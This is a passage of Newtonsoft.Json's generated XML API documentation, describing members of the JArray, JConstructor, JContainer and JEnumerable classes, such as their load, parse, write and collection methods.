token.</typeparam>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.IJEnumerable`1.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JArray\">\n            <summary>\n            Represents a JSON array.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParseArray\" title=\"Parsing a JSON Array from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.WriteToAsync(Newtonsoft.Json.JsonWriter,System.Threading.CancellationToken,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> asynchronously.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous write operation.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.LoadAsync(Newtonsoft.Json.JsonReader,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously loads a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>. \n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> representing the asynchronous load. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/> property contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.LoadAsync(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously loads a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>. \n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> representing the asynchronous load. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/> property contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.#ctor(Newtonsoft.Json.Linq.JArray)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.#ctor(System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> class with the specified content.\n            </summary>\n            <param name=\"content\">The contents of the array.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> class with the specified content.\n            </summary>\n            <param name=\"content\">The contents of the array.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Loads an <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>. \n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Loads an <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>. \n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Parse(System.String)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> populated from the string that contains JSON.</returns>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParseArray\" title=\"Parsing a JSON Array from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Parse(System.String,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> populated from the string that contains JSON.</returns>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParseArray\" title=\"Parsing a JSON Array from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.FromObject(System.Object)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> with the values of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.FromObject(System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used to read the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> with the values of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.Item(System.Int32)\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> at the specified index.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.IndexOf(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Determines the index of a specific item in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </summary>\n            <param name=\"item\">The object to locate in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>\n            The index of <paramref name=\"item\"/> if found in the list; otherwise, -1.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Insert(System.Int32,Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Inserts an item to the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> at the specified index.\n            </summary>\n            <param name=\"index\">The zero-based index at which <paramref name=\"item\"/> should be inserted.</param>\n            <param name=\"item\">The object to insert into the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <exception cref=\"T:System.ArgumentOutOfRangeException\">\n            <paramref name=\"index\"/> is not a valid index in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.RemoveAt(System.Int32)\">\n            <summary>\n            Removes the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> item at the specified index.\n            </summary>\n            <param name=\"index\">The zero-based index of the item to remove.</param>\n            <exception cref=\"T:System.ArgumentOutOfRangeException\">\n            <paramref name=\"index\"/> is not a valid index in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.GetEnumerator\">\n            <summary>\n            Returns an enumerator that iterates through the collection.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Collections.Generic.IEnumerator`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that can be used to iterate through the collection.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Add(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Adds an item to the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </summary>\n            <param name=\"item\">The object to add to the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Clear\">\n            <summary>\n            Removes all items from the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Contains(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Determines whether the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> contains a specific value.\n            </summary>\n            <param name=\"item\">The object to locate in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>\n            <c>true</c> if <paramref name=\"item\"/> is found in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.CopyTo(Newtonsoft.Json.Linq.JToken[],System.Int32)\">\n            <summary>\n            Copies the elements of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> to an array, starting at a particular array index.\n            </summary>\n            <param name=\"array\">The array.</param>\n            <param name=\"arrayIndex\">Index of the array.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.IsReadOnly\">\n            <summary>\n            Gets a value indicating whether the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> is read-only.\n            </summary>\n            <returns><c>true</c> if the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> is read-only; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Remove(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Removes the first occurrence of a specific object from the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </summary>\n            <param name=\"item\">The object to remove from the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>\n            <c>true</c> if <paramref name=\"item\"/> was successfully removed from the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>; otherwise, <c>false</c>. This method also returns <c>false</c> if <paramref name=\"item\"/> is not found in the original <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JConstructor\">\n            <summary>\n            Represents a JSON constructor.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.WriteToAsync(Newtonsoft.Json.JsonWriter,System.Threading.CancellationToken,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> asynchronously.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous write operation.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.LoadAsync(Newtonsoft.Json.JsonReader,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously loads a <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/>.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>\n            A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous load. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns a <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.LoadAsync(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously loads a <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>\n            A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous load. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns a <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JConstructor.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JConstructor.Name\">\n            <summary>\n            Gets or sets the name of this constructor.\n            </summary>\n            <value>The constructor name.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JConstructor.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor(Newtonsoft.Json.Linq.JConstructor)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor(System.String,System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class with the specified name and content.\n            </summary>\n            <param name=\"name\">The constructor name.</param>\n            <param name=\"content\">The contents of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor(System.String,System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class with the specified name and content.\n            </summary>\n            <param name=\"name\">The constructor name.</param>\n            <param name=\"content\">The contents of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class with the specified name.\n            </summary>\n            <param name=\"name\">The constructor name.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JConstructor.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JContainer\">\n            <summary>\n            Represents a token that can contain other tokens.\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.Linq.JContainer.CollectionChanged\">\n            <summary>\n            Occurs when the items list of the collection has changed, or the collection is reset.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.OnCollectionChanged(System.Collections.Specialized.NotifyCollectionChangedEventArgs)\">\n            <summary>\n            Raises the <see cref=\"E:Newtonsoft.Json.Linq.JContainer.CollectionChanged\"/> event.\n            </summary>\n            <param name=\"e\">The <see cref=\"T:System.Collections.Specialized.NotifyCollectionChangedEventArgs\"/> instance containing the event data.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.HasValues\">\n            <summary>\n            Gets a value indicating whether this token has child tokens.\n            </summary>\n            <value>\n            \t<c>true</c> if this token has child values; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.First\">\n            <summary>\n            Get the first child token of this token.\n            </summary>\n            <value>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the first child token of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.Last\">\n            <summary>\n            Get the last child token of this token.\n            </summary>\n            <value>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the last child token of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Children\">\n            <summary>\n            Returns a collection of the child tokens of this token, in document order.\n            </summary>\n            <returns>\n            An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the child tokens of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Values``1\">\n            <summary>\n            Returns a collection of the child values of this token, in document order.\n            </summary>\n            <typeparam name=\"T\">The type to convert the values to.</typeparam>\n            <returns>\n            A <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> containing the child values of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Descendants\">\n            <summary>\n            Returns a collection of the descendant tokens for this token in document order.\n            </summary>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the descendant tokens of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.DescendantsAndSelf\">\n            <summary>\n            Returns a collection of the tokens that contain this token, and all descendant tokens of this token, in document order.\n            </summary>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing this token, and all the descendant tokens of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Add(System.Object)\">\n            <summary>\n            Adds the specified content as children of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"content\">The content to be added.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.AddFirst(System.Object)\">\n            <summary>\n            Adds the specified content as the first children of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"content\">The content to be added.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.CreateWriter\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> that can be used to add tokens to the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> that is ready to have content written to it.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.ReplaceAll(System.Object)\">\n            <summary>\n            Replaces the child nodes of this token with the specified content.\n            </summary>\n            <param name=\"content\">The content.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.RemoveAll\">\n            <summary>\n            Removes the child nodes from this token.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Merge(System.Object)\">\n            <summary>\n            Merge the specified content into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"content\">The content to be merged.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Merge(System.Object,Newtonsoft.Json.Linq.JsonMergeSettings)\">\n            <summary>\n            Merge the specified content into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using <see cref=\"T:Newtonsoft.Json.Linq.JsonMergeSettings\"/>.\n            </summary>\n            <param name=\"content\">The content to be merged.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonMergeSettings\"/> used to merge the content.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.Count\">\n            <summary>\n            Gets the count of child JSON tokens.\n            </summary>\n            <value>The count of child JSON tokens.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JEnumerable`1\">\n            <summary>\n            Represents a collection of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> objects.\n            </summary>\n            <typeparam name=\"T\">The type of token.</typeparam>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JEnumerable`1.Empty\">\n            <summary>\n            An empty collection of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> objects.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.#ctor(System.Collections.Generic.IEnumerable{`0})\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> struct.\n            </summary>\n            <param name=\"enumerable\">The enumerable.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.GetEnumerator\">\n            <summary>\n            Returns an enumerator that can be used to iterate through the collection.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Collections.Generic.IEnumerator`1\"/> that can be used to iterate through the collection.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JEnumerable`1.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.Equals(Newtonsoft.Json.Linq.JEnumerable{`0})\">\n            <summary>\n            Determines whether the specified <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> is equal to this instance.\n            </summary>\n            <param name=\"other\">The <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> to compare with this instance.</param>\n            <returns>\n            \t<c>true</c> if the specified <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> is equal to this instance; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.Equals(System.Object)\">\n            <summary>\n            Determines whether the specified <see cref=\"T:System.Object\"/> is equal to this instance.\n            </summary>\n            <param name=\"obj\">The <see cref=\"T:System.Object\"/> to compare with this instance.</param>\n            <returns>\n            \t<c>true</c> if the specified <see cref=\"T:System.Object\"/> is equal to this instance; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.GetHashCode\">\n            <summary>\n            